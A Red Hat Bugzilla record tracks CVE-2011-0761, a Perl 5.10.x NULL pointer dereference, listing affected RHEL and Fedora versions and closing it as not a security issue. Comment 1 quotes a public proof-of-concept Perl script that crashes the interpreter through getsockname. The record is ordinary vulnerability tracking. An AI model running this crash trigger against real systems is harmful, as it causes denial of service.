Bug 704994 (CVE-2011-0761)

Summary:	CVE-2011-0761 perl: NULL pointer dereference via crafted SOCKET, DIRHANDLE or FILEHANDLE value
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED NOTABUG	QA Contact:
Severity:	low	Docs Contact:
Priority:	low
Version:	unspecified	CC:	cweyl, iarnell, jplesnik, kasal, lkundrak, mmaslano, perl-devel, perl-maint-list, ppisar, psabata, rc040203, tcallawa
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2013-07-25 12:02:32 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:
Bug Depends On:	705003
Bug Blocks:	734553

Description Jan Lieskovsky 2011-05-16 10:07:37 UTC

Common Vulnerabilities and Exposures assigned an identifier CVE-2011-0761 to
the following vulnerability:

Perl 5.10.x allows context-dependent attackers to cause a denial of
service (NULL pointer dereference and application crash) by leveraging
an ability to inject arguments into a (1) getpeername, (2) readdir,
(3) closedir, (4) getsockname, (5) rewinddir, (6) tell, or (7) telldir
function call.

References:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0761
[2] http://www.securityfocus.com/archive/1/archive/1/517916/100/0/threaded
[3] http://www.toucan-system.com/advisories/tssa-2011-03.txt
[4] http://www.securityfocus.com/bid/47766
[5] http://securitytracker.com/id?1025507
[6] http://xforce.iss.net/xforce/xfdb/67355

Comment 1 Jan Lieskovsky 2011-05-16 10:09:21 UTC

Public PoC from [3]:
====================

#!/usr/bin/perl
$a =
getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);

Comment 2 Jan Lieskovsky 2011-05-16 10:10:44 UTC

This issue did NOT affect the versions of the perl package, as shipped
with Red Hat Enterprise Linux 4 and 5.

This issue affects the version of the perl package, as shipped with
Red Hat Enterprise Linux 6.

--

This issue affects the version of the perl package, as shipped with
Fedora release of 13.

This issue did NOT affect the version of the perl package, as shipped
with Fedora release of 14.

Comment 3 Jan Lieskovsky 2011-05-16 10:58:08 UTC

Created perl tracking bugs for this issue

Affects: fedora-13 [bug 705003]

Comment 4 Jan Lieskovsky 2013-07-25 12:00:07 UTC

Statement:

Red Hat does not consider this problem to be a security issue. Input passed to these functions should be under the full control of the script author, therefore no trust boundary is crossed.

Comment 5 Jan Lieskovsky 2013-07-25 12:01:46 UTC

Upstream mailing list reaction:
  http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2011-06/msg00027.html

regarding classification of this issue as a security flaw.